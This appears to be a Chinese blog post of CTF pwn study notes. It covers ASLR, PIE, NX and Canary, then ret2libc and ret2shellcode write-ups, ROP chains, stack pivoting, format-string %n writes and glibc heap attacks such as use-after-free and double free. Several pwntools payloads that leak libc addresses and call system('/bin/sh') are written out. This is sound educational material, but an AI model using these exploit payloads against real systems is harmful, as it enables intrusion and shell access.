视频5
开头,复习前面所有视频的知识!!!
内存保护措施
ASLR、PIE、NX、Canay、RELRO
NX:栈不可执行
一、ASLR
echo 2 > /proc/sys/kernel/randomize_va_space
0:没有随机化,即关闭ASLR
1:保留的随机化,即共享库、栈、mmap()以及VSDO将被随机化
2:完全的随机化,在1的基础上,通过brk()分配的内存空间也将随机化
二、Canay和PIE
备注:
1、gcc编译Canay:
----gcc -o test test.c // 默认情况下,不开启Canary保护
----gcc -fno-stack-protector -o test test.c //禁用栈保护
----gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
----gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码
2、gcc编译关闭PIE:
gcc -no-pie
3、调试显示源码
gcc -g
可以方便gdb调试显示源码
4、Canay:
5、PIE:
PIE技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。
三、ret2libc1解题思路
通用结构:
system函数代码会先调用push ebq,最后ret回exit
动态链接思路:
重点:在ida中,通过plt表拿到system地址
payload构造如下:
strings ret2libc1 | grep /bin/sh
elf = ELF("./ret2lib1")
system_plt = elf.plt["system"]
bin_sh = next(elf.search(b"/bin/sh"))
视频6
shellcode网址
一、ret2libc2解题思路:
方法一:
1、对比ret2libc1缺少"/bin/sh"参数
2、发现bss区存在buf2
3、ROP到gets函数,输入/bin/sh到buf2
4、再继续ROP程序执行流到system@plt
方法二(pop_ret版)
1、ROPgadget --binary ret2libc2 --only "pop|ret"
2、
二、ret2libc3解题思路:
注释:
1、fflush(stdout)(表示一次性打印标准输出)
2、read(0, &buf, 0xAu)(0表示stdin标准输入,u表示unsigned)
3、unsigned int表示0——2^32,有符号表示-2^31——2^31,最高位0和1表示正、负
分析思路:
1、找漏洞(运行ret2libc3)输入超长数据看是否崩溃触发栈溢出漏洞
2、搞清楚main函数数据分布
3、发现read(0, &src, 0x100u)不会发生数据溢出
4、调用print_message()函数,观察栈情况
5、把0x100拷贝到0x38中,栈溢出漏洞
攻击方法一:
1、发现没有后门函数,栈不可执行,Rop代码片段不足,plt没有system函数,没有/bin/sh
2、只能找system真实地址,找到libc里的真正的system地址
3、这题可以通过See_something()函数,获得system的真实地址
4、需要使用GOT表
1、用gdb把断点打到read处,b *地址
2、输入got,观察got表
3、把puts函数对应got表的起始地址(转换成10进制)传进去
4、next执行到see_something()函数,泄露出got表中puts函数的libc地址
5、利用libc-2.23.so找到puts函数和system函数的相对位置
from pwn import *
elf = ELF("./ret2libc3")
libc = ELF("./libc-2.23.so")
io = remote("106.xx.xxx.xxx", 8080)
io.recv()
#得到puts表在服务器libc上的真实地址
io.send(str(elf.got['puts']))
io.recv()
#得到libc中puts函数与system函数的偏移
libc.symbols["system"] - libc.symbols["puts"]
6、打断点b Print_message
7、通过栈溢出strcpy函数,查看栈stack 24
8、构造ROP链
io.sendlineafter(b' :', str(elf.got["puts"]))
io.recvuntil(b' : ')
攻击方法二:
one_gadget详见代码
视频7、8
开头展示ret2libc3的答案
后续学习格式化字符串、堆利用
一、练习题WriteUp:
一、pwn0(ret2text)
1、64位,栈溢出漏洞
2、溢出到后门函数ret2text
3、需要填充8字节(64位)的垃圾数据
4、(不知为何,pwn0题目中systemcall地址需要+1才能打通本地)
5、(原因:x64下在调用system前要加ret)
二、pwn1(ret2shellcode)
1、(shellcraft.sh()#生成32位shellcode汇编码)#生成机械码
2、io.recvuntil(b"this:")
3、转换成int类型数据:buf_addr = int(io.recvuntil(b"?\n", drop=True), 16)
4、\x90表示loop:shellcode.ljust(136, b'\x90')
三、pwn2(ret2libc1)
1、要用到system的PLT表项
2、gdb动态调试的时候,使用set follow-fork-mode parent
指令:info b(查询断点信息)、d 1(删除1号断点)、b 函数名or*地址
3、payload=flat(cyclic(140), system_plt, b'BBBB', bin_sh)
四、pwn2_x64(ret2libc1)
1、与上题类似,但是需要注意x64下!!应该把参数放入寄存器中!
2、栈中32位传参方式!
3、栈中64位传参方式!
4、思路:通过gadget片段pop_rdi_ret -> /bin/sh
5、payload = cyclic(128) + b'A'*8 + p64(pop_rdi_ret)
+ p64(bin_sh) + p64(ret)+p64(system_plt)
1、前面题目pwn0和pwn2_x64调用system前要加p64(ret)
2、ldd level3 -> file 路径,会显示level3用到的动态链接库地址
3、x64小技巧:通过ret2_csu_int来部署64位的寄存器的变量
五、pwn3(加强版ret2lib3)
1、难点:需要自己构造ROP链来泄露内存内容!!
2、栈溢出漏洞,没有system,没有/bin/sh
3、之前的ret2libc3有一个函数泄露了libc的函数地址
本题需要构造rop来泄露
4、如何写入sh:
string level3 | grep sh(要求sh后面要有截断符)
可以next(elf.search(b'sh')) or next(libc.search(b'sh'))
利用ROp链到gets函数,在bss区将/bin/sh写入缓冲区
方法:
1、通过Rop劫持程序执行流到Wirte@plt的地址,同时把write@got里
的内容打印出来,就可以知道write函数在内存空间中的真实地址了!
2、Base = write函数在内存空间中的真实地址 - 他在libc中的地址
3、Base加上system的偏移和/bin/sh的偏移,得到真实地址!
代码:
1、构造payload1,返回到vulnerable函数进行第二次溢出!
payload1 = flat(cyclic(140), write_plt, vulnerable_addr,
1, write_got, 4) #后三个是参数,显示write_got的4个字节
2、p32的逆运算u32
p32(1234) = b'\xd2\x04\x00\x00'
u32(b'\xd2\x04\x00\x00') = 1234
3、得到write@got的真实地址后,得到libc_base
4、通过libc_base偏移获得system和/bin/sh的真实地址
5、构造payload2,对函数造成栈溢出得到shell
6、libc_base = write_addr - libc.symbols["write"]
system_addr = libc_base + libc.symbols["system"]
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload2 = flat(cyclic(140), system_addr, b'BBBB', bin_sh)
二、栈溢出小技巧(不走寻常路):
一、smashes(Canary found且gdb找不到main函数)
1、使用静态分析找main函数地址,手动设置断点(b *0x????)
2、当数据溢出时,程序会先检查Canary是否和初始值相同
若不同则触发__stack_chk_file,输出stack smashes并退出
3、v4 = __readfsqword(0x28u)放置一个Canary
4、
二、栈迁移
1、情况一:溢出距离较短,够不到ret addr
情况二:虽然能覆盖到ret addr,但是溢出距离不够写ROP链
情况三:如pwn3需要用2次Rop进行攻击
2、解决方案:
leave: mov esp ebp; pop ebp(把esp移到ebp,弹出pre_ebp到现在的ebp中)
ret:将esp当前指向内容,弹入到eip寄存器中
3、步骤:
1、覆盖prev_ebp到vulner_ebp区域
2、覆盖ret_addr到Gadget如:leave指令、mov esp,ebp
3、后续学习-->格式化字符串漏洞和堆溢出漏洞
三、练习题WriteUp:
六、pwn3_X64(加强版ret2lib3)
1、注意x64下,函数的参数应该放在寄存器中
2、------------->
payload1 = cyclic(128+8) + p64(rdi_ret) + p64(1) + p64(rsi_r15_ret) + p64(write_got) + p64(0xdeadbeef) + p64(write_plt) + p64(vulnerable_addr)
3、------------->
payload2 = cyclic(128+8) + p64(rdi_ret) + p64(bin_sh) + p64(system_addr)
视频8末尾+视频9
一、格式化字符串漏洞:
%x是将无符号整数以十六进制形式输出,并且前面不加0x
%p把栈上的数据当作一个指针输出,输出16进制前面有0x
%s传入的仍然是地址,但是打印地址里对应存放的内容
%d打印有符号整数
%p是直接打印栈上的数据,%s是把栈上的数据作为地址解析,然后打印地址对应的数据
#include<stdio.h>
int main()
{
int a = 1;
int b = 2;
int c = 3;
printf("%d%d%d", a, b, c);
printf("%3$d", a, b, c);
return 0;
}
仔细观察下图结构:
%s用于泄露0x00402004地址对应的值(一般打印read@got表)
%n和%s的区别
%n和%s类似,也是把栈上的内容作为地址去解析
但是是往被解析的地址中写入内容,而不是读取内容
写入的内容:格式化字符串前方已经打印成功的字符的个数
%n写4个字节0x00000004,%hn写2个字节,%hhn写一个字节
#include<stdio.h>
int main()
{
int a = 1;
int b = 2;
char c = 'a';
printf("%10c", c);
return 0;
}
输出10个字节,不足的部分用空格来补充( a)
用%n把目的地址改为4
用%n把目的地址改为8
总结
- 泄露栈内存
- 泄露任意地址内存
- 串改栈内存
- 串改任意地址内存
(附加)
x64环境下,且修改的地方是%10$p,值修改成100
1、泄露rbp,然后通过栈关系加减,得到buf的地址
2、0xffff88888888 + %100c%10$hhn
是错误的!!!2个误区!!!
· 首先,由于前面输入了地址,所以应该是0xffff88888888 + %92c%10$hhn
· 其次,由于64位有2位\x00\x00,所以其实后面格式化字符串参数被00截断了
· 所以,应该前后调换位置,并且对齐字符串,必须是8的倍数,且修改为%12$n
3、正确的输入是:%100c%12$hhnaaaa + 0xffff88888888
读写任意地址内存(要求:存在printf函数,且第一个参数可以被控制)
二、格式化字符串例题一(fmtstr1):
一、攻击思路
1、memset()开辟内存空间
2、使用%n把参数x由3篡改为4
3、gdb调试,切记要从printf的第一个参数开始
4、注意:printf的第4个参数,则是格式化字符串的第3个参数
5、如下图:printf的第12个参数,乃是格式化字符串的第11个参数
所以格式化字符串应该为:0x????????%11$n即可!!
二、攻击方法
1、利用%n将x的值改为4
2、ida中可以看到x的地址
3、payload = p32(x_addr) + b'%11$n'
三、格式化字符串例题二(64位_fmtstr2):
一、攻击思路
1、v11 = __readfsqword(0x28u)开启Canary防护
2、使用%s泄露flag,可以看到v10保存了真正的flag
3、需要注意:x64架构下,前6个参数在寄存器中,第7个参数才在栈中
4、解决方法:在gdb中调试时,可以输入%7$p%8$p%9$p找到参数地址
5、如下图:printf的第10个参数,乃是格式化字符串的第9个参数
所以格式化字符串应该为:%9$s即可!!
二、攻击方法
1、由于v10保存了flag,所以真正的flag就存放在栈中
2、利用gdb找到偏移位置
3、payload = "%9$s"
四、堆(Heap)的初认识+例题三(fmtstr_uaf):
一、堆
1、是虚拟内存空间中的一块连续的线性区域
2、提供动态内存分配,用户随取随用,且允许程序申请大小未知的内存
二、堆管理器
1、是动态链接库里实现的一段代码,用来管理堆的内存区域
2、处于用户与操作系统之间,作为动态内存管理的中间人
三、堆管理器的三个关键词(arena、chunk、bin)
学习heap实验
CTFer祖师爷的秘制slide
国外师傅的堆总结笔记
1、arena
内存分配区,可以理解为堆管理器所持有的内存池
堆管理器与用户的内存交易发生于arena中
可以理解为堆管理器向操作系统批发来的有冗余的内存库存
2、chunk
用户申请内存的单位,也是堆管理器管理内存的基本单位
malloc()返回的指针指向一个chunk的数据区域
在arena上,是直接malloc得到的内存区域的单位,返回的指针实际上指向的是中间位置,并且开辟的空间要比用户指定的空间要大
3、bin
管理arena中空闲chunk的结构
以数组的形式存在,数组元素为相应大小的chunk链表的链表头
存在于arena的malloc_state中
· unsorted bin
· fast bins
· small bins
· large bins
· (tcache)
一、malloc chunk
#include <stdio.h>
#include <stdlib.h>
int mian() {
void* ptr = malloc(0x100);
free(ptr);
}
其中:
size的底3位应该都是0,因为分配的内存只能是8的倍数
比如malloc(31)但是实际上会分配32的内存
所以size的第三位改成了标志位!!!分别是 |A|M|P|
二、free chunk
small bin 和 unsorted bin (4个控制字段)
----------------------------------------------------->>>>>>>>>>>>
----------------------------------------------------->>>>>>>>>>>>
三、prev size的复用
写数据的时候,会从低地址往高 地址写!!!
所以ptr指针不能指在prev size所在位置
1、假设现在malloc(0x20)得到上面的chunk
2、现在free掉上面的chunk(数据不会删除,而是还到堆管理器中)
3、现在又malloc(0x28)(堆管理器会找有无可用大小的free chunk)
4、此时会把下一个chunk的prev size变成用户空间
· 因为prev size记录的是前一个free chunk的大小
· 由于前一个chunk是一个malloc chunk,所以prev size无用可以被复用
四、物理链表 和 逻辑链表
4.1 物理链表
· 用来组织相邻chunk之间的关系
· 若是发现邻居也是free chunk就会自动合并成一个新的free chunk。
· 通过prev size和size字段把整个内存分配区串联起来。
4.2 逻辑链表
· 用指针连起来,通过fd把同类的chunk连接起来,然后放进回收站里。
· 目的是为了方便malloc chunk直接找到对应的chunk
· malloc返回的地址符合后进先出(栈)
五、各种bins
1、unsorted bin
· bins数组从11开始
· 只有一项,保存的chunk大小是杂乱无章的
· 是一个双向链表fd和bk
· 其中,bk指向上一个chunk,fd指向下一个chunk
· malloc返回地址符合先进先出(队列)
2、small bins
· 每一个bin对应串起来的chunk大小是固定的
· 记录的是具体的数
3、large bins
· 每一个bin中记录的chunk的大小是不固定的
· 记录是一个范围
4、fast bins(具体图片在逻辑链表处)
· 管理的空间,64位程下×2即可
· P位表示:上一个chunk是否正在被占用
· 避免了fast chunk与其他chunk合并,避免检查、合并和重新扩展空间等
5、tcache(视频11/1:41:00)
· 而已看作是一个super fastbin,速度很快
· 不安全,没有安全防护措施(2.28加入了)
视频11
一、堆结构+arena+chunk(全局讲解)
· 视频11(00:19:30处)!!!
· 大于fast bin的chunk在申请的时候,如32位下大于64Bytes的chunk
先从unsorted bin里找,还没找到的话,
就会触发unsorted bin遍历,把该合并的chunk合并,该归类的归类,
归类完后,再到对应的small bins和large bins中找,
若还没找到,就只能从top chunk里划分了。
二、其余chunk
2.1
一、Top chunk
· 就是堆管理器向操作系统要来的空间,除去使用的空间,剩余的就是
二、last remainder chunk
· 在上述寻找chunk的基础上,从unsorted bin头部向链表尾部遍历
若找到unsortedbin freechunk 大于 用户malloc的空间,
就会立马把free chunk分配给用户。
· 这时候,多出来的部分就会被重新填入控制字段,
重新列入unsorted bin中,这就是last remainder chunk
三、堆漏洞的讲解
3.1 UAF(Use After Free)释放重用攻击
how2heap/first_fit.c 实验!!!
一、原理
· 可以看到,首先a=malloc(0x512)再b=malloc(0x256)
· b=malloc(0x256)是因为,free a的时候防止与top chunk合并
· 然后free a,随后马上c=malloc(0x500),
· 由于free a,a会进入unsorted bin双向链表中,
· c=malloc(0x500)的时候,会使用原先a的位置
· 这时候就导致了指针a和指针c指向同一个地址
· 这时候打印a指针,会显示this is c
二、gdb小技巧
1、开启了PIE防护,在gdb中的应对
b *$rebase(输入偏移地址)
2、在pwntools脚本中开启动态调试
在想调试的代码中,加入一行pause()
打开gdb,输入 attch + 进程号
3.2 double free漏洞
how2heap/glibc_2.23/fastbin_dup_into_stack实验!!
一、原理
· 首先malloc了3个很小的a、b、c,剩下的就是top chunk
· 然后free a,因为a足够小,所以进入fast bin
· 然后free b,因为大小相同,所以b也进入同一个fast bin中
· 继续free a,由于指针a还在,所以导致a又在fastbin中被列入一次
· 此时再malloc 3份内存,这时候第1个和第3个指针
· 在不知情的情况下,都指向了a的内存空间
· malloc b的作用是为了避开fastbin的double free检查
3.3 fastbin_dup_into_stack漏洞
how2heap/glibc_2.23/fastbin_dup_into_stack.c实验!!
一、原理
· 在double free的前提下,malloc一个d
· 此时d指针指向的是a的区域,并且a还挂在fastbin中
· 由于malloc chunk和fastbin chunk的差异
· 导致d可以修改链表中a的fd字段,修改为栈上的地址
二、如何攻击
· 由于fd指针指向的是,链表中下一个chunk的开头位置
· 所以若想要修改var,需要指向栈上var_addr - 2个字长的位置
3.4 unsorted_bin_attack漏洞
how2heap/glibc_2.23/unsorted_bin_attack.c实验!!
一、原理
· 可以把任意地址的值篡改成一个较大的值
· 前提是我们可以控制bk的值
标签:bin,malloc,chunk,system,笔记,地址,sh
From: https://www.cnblogs.com/monster-hang/p/17883376.html